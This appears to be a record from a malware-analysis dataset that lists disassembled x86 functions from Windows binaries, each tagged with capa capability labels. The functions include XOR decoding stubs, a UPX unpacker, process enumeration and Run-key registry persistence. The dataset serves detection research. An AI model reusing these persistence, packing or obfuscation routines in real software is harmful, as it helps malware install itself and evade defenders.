joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x401b20
Capabilities:
Create thread
Terminate thread

Disassembly:
sub esp, 8
push esi
push edi
mov esi, ecx
push 1
call sub.MFC42.DLL_CWnd::UpdateData
mov ecx, esi
call fcn.00402ca0
mov eax, dword [esi + 0x64]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x401b6e
lea eax, [esp + 0xc]
push eax
push 0
push esi
push 0x401cb0
push 0
push 0
call edi
test eax, eax
mov dword [esi + 0x64], eax
jne 0x401b6e
push eax
push eax
push str.create_thread_error
call sub.MFC42.DLL_AfxMessageBox_1
pop edi
pop esi
add esp, 8
ret
mov eax, dword [esi + 0x60]
test eax, eax
je 0x401bac
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x401bac
cmp dword [esp + 8], 0x103
jne 0x401ba5
mov edx, dword [esi + 0x60]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x60], 0
lea ecx, [esp + 0xc]
push ecx
push 0
push esi
push 0x402160
push 0
push 0
call edi
test eax, eax
mov dword [esi + 0x60], eax
push 0
jne 0x401bda
push 0
push str.create_thread_error
call sub.MFC42.DLL_AfxMessageBox_1
pop edi
pop esi
add esp, 8
ret
push 0x3e9
mov ecx, esi
call sub.MFC42.DLL_CWnd::GetDlgItem
mov ecx, eax
call sub.MFC42.DLL_CWnd::EnableWindow
push 1
push 0x3ea
mov ecx, esi
call sub.MFC42.DLL_CWnd::GetDlgItem
mov ecx, eax
call sub.MFC42.DLL_CWnd::EnableWindow
mov edx, dword [esi + 0x134]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
push 0x184
push edx
call edi
mov eax, dword [esi + 0x134]
push 0x406030
push 0
push 0x180
push eax
call edi
pop edi
pop esi
add esp, 8
ret

Function at 0x401c41
Capabilities:
Terminate thread

Disassembly:
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x60]
test eax, eax
je 0x401c82
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x401c82
cmp dword [esp + 4], 0x103
jne 0x401c7b
mov edx, dword [esi + 0x60]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x60], 0
push 1
push 0x3e9
mov ecx, esi
call sub.MFC42.DLL_CWnd::GetDlgItem
mov ecx, eax
call sub.MFC42.DLL_CWnd::EnableWindow
push 0
push 0x3ea
mov ecx, esi
call sub.MFC42.DLL_CWnd::GetDlgItem
mov ecx, eax
call sub.MFC42.DLL_CWnd::EnableWindow
pop esi
pop ecx
ret
Function at 0x401f30
Capabilities:
Create tcp socket
Create udp socket
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x188
push ebx
push ebp
mov ebp, ecx
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x16], eax
push esi
mov word [esp + 0xd], cx
push edi
mov dword [esp + 0x22], eax
push ecx
mov dword [esp + 0x2a], eax
push 2
push 2
mov dword [esp + 0x38], 1
mov word [esp + 0x28], 0
mov word [esp + 0x36], ax
mov byte [esp + 0x1c], al
mov byte [esp + 0x1f], cl
call sub.WSOCK32.dll_socket
lea edx, [esp + 0x2c]
push 4
push edx
mov edi, eax
push 0x20
push 0xffff
push edi
call sub.WSOCK32.dll_setsockopt
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x401ffb
call ebx
mov esi, eax
push 0
lea eax, [esp + 0x1c]
push 0
push eax
push 0x400
push esi
push 0
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x98]
push ecx
push esi
push str.Center_SendBroadPacket_setsockopt
push str._s_n_d:__s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [esp + 0x98]
push 0
push str.Error
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
or esi, 0xffffffff
push 0x2a88
mov dword [esp + 0x24], esi
mov word [esp + 0x20], 2
call sub.WSOCK32.dll_htons
mov word [esp + 0x1e], ax
lea edx, [esp + 0x13]
lea eax, [esp + 0x12]
push edx
lea ecx, [esp + 0x15]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
lea ecx, [ebp + 0x194]
mov dword [esp + 0x44], esi
call sub.MFC42.DLL_CIPAddressCtrl::GetAddress
mov ecx, dword [esp + 0x12]
xor eax, eax
mov ah, byte [esp + 0x13]
and ecx, 0xff
and eax, 0xffff
xor edx, edx
mov dh, byte [esp + 0x11]
or eax, ecx
mov ecx, dword [esp + 0x10]
and edx, 0xffff
shl eax, 0x10
or eax, edx
and ecx, 0xff
or eax, ecx
lea edx, [esp + 0x13]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x12]
push edx
lea ecx, [esp + 0x15]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
lea ecx, [ebp + 0x154]
call sub.MFC42.DLL_CIPAddressCtrl::GetAddress
mov ecx, dword [esp + 0x12]
xor eax, eax
mov ah, byte [esp + 0x13]
and ecx, 0xff
and eax, 0xffff
xor edx, edx
mov dh, byte [esp + 0x11]
or eax, ecx
mov ecx, dword [esp + 0x10]
and edx, 0xffff
shl eax, 0x10
or eax, edx
and ecx, 0xff
or eax, ecx
lea edx, [esp + 0x1c]
push 0x10
mov dword [esp + 0x40], eax
push edx
push 0
lea eax, [esp + 0x3c]
push 0x68
push eax
push edi
mov byte [esp + 0x48], 0xf
call sub.WSOCK32.dll_sendto
test eax, eax
jg 0x40214c
call ebx
push 0
lea ecx, [esp + 0x1c]
push 0
mov esi, eax
push ecx
push 0x400
push esi
push 0
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x98]
push edx
push esi
push str.Center_SendBroadPacket_send
push str._s_n_d:__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [esp + 0x98]
push 0
push str.Error
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call sub.WSOCK32.dll_closesocket
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x188
ret
Function at 0x401000
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x403a76
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x288
push ebp
push esi
push edi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString_2
mov edi, dword [esp + 0x2a4]
push 0
push 0x406020
mov ecx, edi
mov dword [esp + 0x2a4], 0
call sub.MFC42.DLL_CString::Find_1
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
lea eax, [esp + 0x10]
push esi
push eax
mov ecx, edi
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2a0], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x29c], 0
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push ecx
push edx
call ebp
cmp eax, 0xffffffff
jne 0x40109f
mov eax, dword [esp + 0xc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x4010a6
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
inc esi
mov ecx, edi
push esi
push 0x406020
call sub.MFC42.DLL_CString::Find_1
mov esi, eax
test esi, esi
jge 0x40104f
mov eax, dword [edi]
lea ecx, [esp + 0x154]
push ecx
push eax
call ebp
cmp eax, 0xffffffff
jne 0x4010d9
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x4010e0
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0xc]
mov dword [esp + 0x29c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x294]
pop edi
pop esi
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x294
ret
Function at 0x401120
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x403a8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 8]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
mov esi, dword [esp + 0x128]
push 0
push 0x406054
mov ecx, esi
mov dword [esp + 0x128], 0
call sub.MFC42.DLL_CString::Find_1
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, 0xffffffff
je 0x4011e0
lea eax, [esp + 0x18]
push 0x100
push eax
call edi
xor ecx, ecx
lea edx, [esp + 0xc]
mov dword [esp + 0xd], ecx
lea eax, [esp + 0x18]
mov dword [esp + 0x11], ecx
mov byte [esp + 0xc], 0
push ecx
push ecx
push ecx
push edx
push eax
mov byte [esp + 0x29], cl
call dword [sym.imp.MSVCRT.dll__splitpath]
lea ecx, [esp + 0x20]
lea edx, [esp + 0x1c]
push ecx
push 0x406040
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x28]
add esp, 0x20
mov ecx, esi
push eax
push 0x406054
call sub.MFC42.DLL_CString::Replace
push 0
push 0x406034
mov ecx, esi
call sub.MFC42.DLL_CString::Find_1
cmp eax, 0xffffffff
je 0x401214
lea ecx, [esp + 0x18]
push 0x100
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x18]
mov ecx, esi
push edx
push 0x406034
call sub.MFC42.DLL_CString::Replace
push 0
push 0x406028
mov ecx, esi
call sub.MFC42.DLL_CString::Find_1
cmp eax, 0xffffffff
je 0x401244
lea eax, [esp + 0x18]
push 0x100
push eax
call edi
lea ecx, [esp + 0x18]
push ecx
push 0x406028
mov ecx, esi
call sub.MFC42.DLL_CString::Replace
push 0x406020
push 0x406024
mov ecx, esi
call sub.MFC42.DLL_CString::Replace
lea ecx, [esp + 8]
mov dword [esp + 0x120], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x118]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x11c
ret
Function at 0x401640
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x403c07
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov dword [esp + 8], 0
lea ecx, [esp + 4]
mov dword [esp + 0x14], 1
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x20]
push 0x406090
push eax
mov byte [esp + 0x1c], 2
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x4016e8
push ebp
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push esi
call edi
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push esi
mov ebp, eax
call edi
lea ecx, [ebp + 1]
push ecx
call sub.MFC42.DLL_operatornew
push esi
mov edi, eax
push ebp
push 1
push edi
call dword [sym.imp.MSVCRT.dll_fread]
push esi
mov byte [edi + ebp], 0
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x34
lea ecx, [esp + 0xc]
push edi
call sub.MFC42.DLL_CString::operator
push edi
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop ebp
mov esi, dword [esp + 0x1c]
lea edx, [esp + 4]
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x401730
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x403c38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
lea ecx, [esp + 4]
mov dword [esp + 0x10], 1
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x18]
push 0x406094
push eax
mov byte [esp + 0x18], 2
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x4017a4
mov eax, dword [esp + 0x1c]
push edi
push esi
push eax
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 1
push edi
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00401ef0
add esp, 0x18
pop edi
lea ecx, [esp + 4]
mov byte [esp + 0x10], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x10], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov dword [esp + 0x10], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 8]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x401830
Capabilities:
Enumerate process modules

Disassembly:
push 0xffffffffffffffff
push 0x403c58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push esi
push edi
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0xc]
mov dword [esp + 8], 0
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x23c]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x401915
lea ecx, [esp + 8]
mov dword [esp + 8], 0x224
push ecx
push esi
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x40190e
mov eax, dword [esp + 0x240]
mov edi, dword [sym.imp.MSVCRT.dll__mbsicmp]
lea edx, [esp + 0x28]
push edx
push eax
call edi
add esp, 8
test eax, eax
je 0x4018d4
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x40190e
mov eax, dword [esp + 0x240]
lea edx, [esp + 0x28]
push edx
push eax
call edi
add esp, 8
test eax, eax
jne 0x4018af
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x240]
mov dword [esp + 0x234], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x224]
mov dword fs:[0], ecx
add esp, 0x230
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x240]
mov dword [esp + 0x234], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x22c]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x230
ret

Function at 0x401950
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x403c78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
mov esi, dword [esp + 0x14c]
xor ebx, ebx
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
push eax
push 2
rep stosd dword es:[edi], eax
mov dword [esp + 0x148], 0
mov dword [esi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x4019bb
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], eax
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x401a2d
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401a0d
push ecx
lea edx, [esp + 0x14c]
mov ecx, esp
mov dword [esp + 0x10], esp
push edx
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x1c]
push eax
call fcn.00401830
add esp, 8
test eax, eax
je 0x4019fe
mov ecx, dword [esi]
mov ebx, eax
inc ecx
mov dword [esi], ecx
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4019d2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, ebx
mov ecx, dword [esp + 0x138]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x138
ret
Function at 0x401a50
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x403ca8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebp
push esi
push edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov byte [esp + 0x24], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push ecx
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406098
push 0x80000001
call ebp
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x401ae8
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 8]
push ecx
mov ecx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x30]
push 1
push 0
push eax
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call edi
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406098
push 0x80000002
call ebp
test eax, eax
jne 0x401b2f
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [esp + 0x14]
push 1
push 0
push edx
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call edi
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x20], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
pop edi
pop esi
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x18
ret